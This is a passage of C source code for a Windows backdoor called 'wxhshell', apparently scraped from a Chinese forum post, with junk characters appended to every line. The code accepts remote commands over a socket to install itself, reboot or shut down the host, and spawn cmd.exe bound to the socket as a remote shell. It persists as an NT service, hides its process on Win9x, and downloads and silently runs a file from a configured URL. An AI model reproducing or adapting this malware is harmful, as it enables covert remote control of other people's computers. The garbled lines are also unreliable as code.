  // 帮助 |d\1xTBLp  
  case '?': { 6[FXgCb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <D&  Ep  
    break; V~8]ag4  
  } lRS'M,/  
  // 安装 )~xH!%4F  
  case 'i': { lV./K;\T  
    if(Install()) x*j eCD,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8zok `\P_  
    else ifWQwS/,a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J&WH~8+N  
    break; TrgKl2xfx  
    } _b)Ie`a.H  
  // 卸载 hBz>E 4mEv  
  case 'r': { .i;?8?  
    if(Uninstall()) DgRn^gL{Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;Ynq<x  
    else @}r s6 G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nw ,|4S  
    break; <}xgp[O  
    } qs8^qn0A  
  // 显示 wxhshell 所在路径 ^\S~rW.3_  
  case 'p': { H7drDw  
    char svExeFile[MAX_PATH]; M`iE'x  
    strcpy(svExeFile,"\n\r"); [\0>@j}Z  
      strcat(svExeFile,ExeFile); ~USyN'5lU7  
        send(wsh,svExeFile,strlen(svExeFile),0); pL*aU=FjQ  
    break; Wj)v,v2&  
    } RP 6<#tq,  
  // 重启 )2^r 0(x  
  case 'b': { j:8Pcx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k8+U0J_{'  
    if(Boot(REBOOT)) SEWdhthP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~==qLsU  
    else { b'4}=Xpn  
    closesocket(wsh); tr A ^JY  
    ExitThread(0); l"h6e$dP  
    } /,< s9 :  
    break; L6jwJwD  
    } Ai:, cY5%  
  // 关机 -U7,~z  
  case 'd': { |<8Fa%!HHc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VV[Fb9W ;  
    if(Boot(SHUTDOWN)) 5+b73R3r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1<Uv4S  
    else { z X+i2,  
    closesocket(wsh); <jaQ 0S{|  
    ExitThread(0); Ofb&W AD  
    } ,t*H: *  
    break; >~'z%  
    } szqR1A  
  // 获取shell pI_:3D xe  
  case 's': { XKOPW/  
    CmdShell(wsh); ?oV|.LM:W  
    closesocket(wsh); &tiJ=;R1  
    ExitThread(0); &- My[t  
    break; [s] ZT  
  } {g4w[F!77  
  // 退出 y\:Ma7V  
  case 'x': { ^FTS'/Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pz{ ]O_px  
    CloseIt(wsh); k|jr+hmn":  
    break; tQ.H/;  
    } kf95)iLo  
  // 离开 ExFz@6@  
  case 'q': { s? Gv/&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T;,,!  
    closesocket(wsh); c:B` <  
    WSACleanup(); I,Jb_)H&t  
    exit(1); r0pwKRE~t  
    break; On[yL$?  
        } zW`a]n.  
  } SC3_S.  
  } d<m.5ECC}  
SUvrOl   
  // 提示信息 yKz%-6cpSl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YPKB4p#  
} <1QXZfQ"  
  } ]{t!J^Xn  
HRCnjem/v\  
  return; sQ[N3  
} mM{cH=  
Jt}#,I,B  
// shell模块句柄 ~g@}A  
int CmdShell(SOCKET sock) M[u6+`  
{ R$Qhu xT|  
STARTUPINFO si; g`2O h5dA  
ZeroMemory(&si,sizeof(si)); NE Zu?g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |v 1* [(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4#t-?5"  
PROCESS_INFORMATION ProcessInfo; v5{2hCdt  
char cmdline[]="cmd"; Ef@Et(f_mQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Uaj_,qb(  
  return 0; .F$cR^i5u  
} bFH`wL W  
(Y^tky$9  
// 自身启动模式 r'o378]=  
int StartFromService(void) i If?K%M7  
{ H%}/O;C  
typedef struct |tse"A5Z  
{ rrphOG  
  DWORD ExitStatus; QTN'yd?WE  
  DWORD PebBaseAddress; vbG&F.P  
  DWORD AffinityMask; 43O5|8o  
  DWORD BasePriority; i;juwc^n}  
  ULONG UniqueProcessId; ID{XZ  
  ULONG InheritedFromUniqueProcessId; $++O@C5  
}   PROCESS_BASIC_INFORMATION; L gy^^.  
{r5OtYmpR  
PROCNTQSIP NtQueryInformationProcess; .t&G^i'n  
Zzb?Nbf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bUYjmb2g)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <:8Ew  
4_$.gO  
  HANDLE             hProcess; K7nyQGS  
  PROCESS_BASIC_INFORMATION pbi; > +00[T  
_]eyt_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qmvQd8|XR  
  if(NULL == hInst ) return 0; N\rL ~4/  
MGr e_=Dm_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 47f\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y zmMF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?%vB#A^  
P^ <to(|  
  if (!NtQueryInformationProcess) return 0; D`Ka IqLz  
=4V SbOlZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *D9H3M[o#  
  if(!hProcess) return 0; _,d<9 Y)  
T{yJL<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VC% .u.< F  
$3%+N|L  
  CloseHandle(hProcess); hMV>5Y[s  
OkCAvRg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |y+_BZ5  
if(hProcess==NULL) return 0; x]3[0K5;  
]I zD`  
HMODULE hMod; K%Bz6 ~  
char procName[255]; e,W,NnCICj  
unsigned long cbNeeded; "7j E&I  
4G XS(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <z>oY2%  
$q .}eb0  
  CloseHandle(hProcess); $TK= :8HY  
a(ml#-M  
if(strstr(procName,"services")) return 1; // 以服务启动 p  UW7p  
RAuVRm=E  
  return 0; // 注册表启动 w8 `1'*HG  
} k_Y7<z0G  
Tf? `_jL  
// 主模块 !_B*Po  
int StartWxhshell(LPSTR lpCmdLine) -*Th=B-  
{ rUAt`ykTmN  
  SOCKET wsl;  _-9cGm v  
BOOL val=TRUE; DQaE9gmC  
  int port=0; 1-&L-c.  
  struct sockaddr_in door; fc[_~I'  
8B5WbS fL^  
  if(wscfg.ws_autoins) Install(); a#& ( i  
l\uNh~\  
port=atoi(lpCmdLine); *JQ*$$5  
1X9s\JKQ  
if(port<=0) port=wscfg.ws_port; g#cet{>  
evNe6J3  
  WSADATA data; {Qn{w%!|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LhM$!o?W  
(mKH,r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *;~u 5y2b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;-;lM6zP  
  door.sin_family = AF_INET; gU NWM^n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P|]r*1^5  
  door.sin_port = htons(port); U4yl{?  
pVrY';[,|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~!cxRd5;F  
closesocket(wsl); vAqj4:j  
return 1; bMNr +N  
} }&= =;7,O  
0z4M/WrNt  
  if(listen(wsl,2) == INVALID_SOCKET) { ItZYOt|Hn  
closesocket(wsl); ju .pQ=PSX  
return 1; &ODo7@v`1  
} bSz7?NAp  
  Wxhshell(wsl); 9 %i\)  
  WSACleanup(); ~131|e`C  
Kr `/sWZ  
return 0; ecR)8^1 '  
]^>:)q  
} =  
3eXIo=  
// 以NT服务方式启动 vLyazVj..  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B&0 W P5OF  
{ %~gI+0HK  
DWORD   status = 0;  X)+6>\  
  DWORD   specificError = 0xfffffff; .>P:{''  
QG2 Zh9R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^NRf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D} j`T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cC+2%q B  
  serviceStatus.dwWin32ExitCode     = 0; `|nCnT'  
  serviceStatus.dwServiceSpecificExitCode = 0; Im@OAR4,R  
  serviceStatus.dwCheckPoint       = 0; ={V@Y-5T  
  serviceStatus.dwWaitHint       = 0; {*[(j^OE  
{ I\og  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SY%y*6[6  
  if (hServiceStatusHandle==0) return; 0y?;o*&U\  
-B&(& R  
status = GetLastError(); :Jv5Flxl  
  if (status!=NO_ERROR) /> /e  
{ wJCw6&D,/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6N5(DD  
    serviceStatus.dwCheckPoint       = 0; ]dI^ S  
    serviceStatus.dwWaitHint       = 0; fb>$p_s]  
    serviceStatus.dwWin32ExitCode     = status; '%XYJr:H[  
    serviceStatus.dwServiceSpecificExitCode = specificError; "J=Cy@SSa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); isQOt * i  
    return; Hq 3V+$  
  } OE9,D:t v  
}2Euz.0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n-yUt72  
  serviceStatus.dwCheckPoint       = 0; tp>YsQy]8  
  serviceStatus.dwWaitHint       = 0; 19#>\9*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >eQ.y- 4  
} 0<NS1y  
4OpzGZ4+  
// 处理NT服务事件,比如:启动、停止 *X2PT(e[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %A=/(%T>  
{ 6=;(~k&x9:  
switch(fdwControl) ck5cO-1>6  
{ c@3 5\!9  
case SERVICE_CONTROL_STOP: [|=M<>?[  
  serviceStatus.dwWin32ExitCode = 0; =DD KGy.g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vc&+qI+I3  
  serviceStatus.dwCheckPoint   = 0; ?_Z -} f  
  serviceStatus.dwWaitHint     = 0; RLB"}&SF]  
  { dIlpo0; F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Q/^ib9=  
  } /#H P;>!n  
  return; =\5WYC  
case SERVICE_CONTROL_PAUSE: hpb|| V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z+{qQ!  
  break; , f$P[c  
case SERVICE_CONTROL_CONTINUE: k:R\;l5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]\ _tO  
  break; 3Z=yCec]  
case SERVICE_CONTROL_INTERROGATE: ;p`to"6IFD  
  break; ~uty<fP  
}; QOSMV#Nw%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P=jsOuW  
} 4Z~ nWs  
-bzlp7q*  
// 标准应用程序主函数 H>%AK''  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $["HC-n?.k  
{ j2UQQFh  
=2Yt[8';  
// 获取操作系统版本 YZ4`b-  
OsIsNt=GetOsVer(); KGg S"d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "g&f:[a/  
H~:oW~Ah  
  // 从命令行安装 -ZZJk-::  
  if(strpbrk(lpCmdLine,"iI")) Install(); Babzrt-  
n+ebi>}P  
  // 下载执行文件 ^Z?m)qxvB  
if(wscfg.ws_downexe) { C|TQf8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76 )"uqv1x  
  WinExec(wscfg.ws_filenam,SW_HIDE); e8^/S^ =&d  
} m1Ya  
`?(J(H  
if(!OsIsNt) { TZt;-t`  
// 如果时win9x,隐藏进程并且设置为注册表启动 A%Ka)UU+n  
HideProc(); Pg(Y}Tu  
StartWxhshell(lpCmdLine); oMj"l#a*  
} $) "\N  
else EHm*~Sd  
  if(StartFromService()) e,_Sj(R8  
  // 以服务方式启动 0lg'QG>  
  StartServiceCtrlDispatcher(DispatchTable); (4/"uj5  
else $Z#~wsw  
  // 普通方式启动 *u"%hXR  
  StartWxhshell(lpCmdLine); 8:V,>PH  
_uMG?Sbx  
return 0; N'WTIM3W  
}
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只看该作者 1 发表于: 2006-10-10
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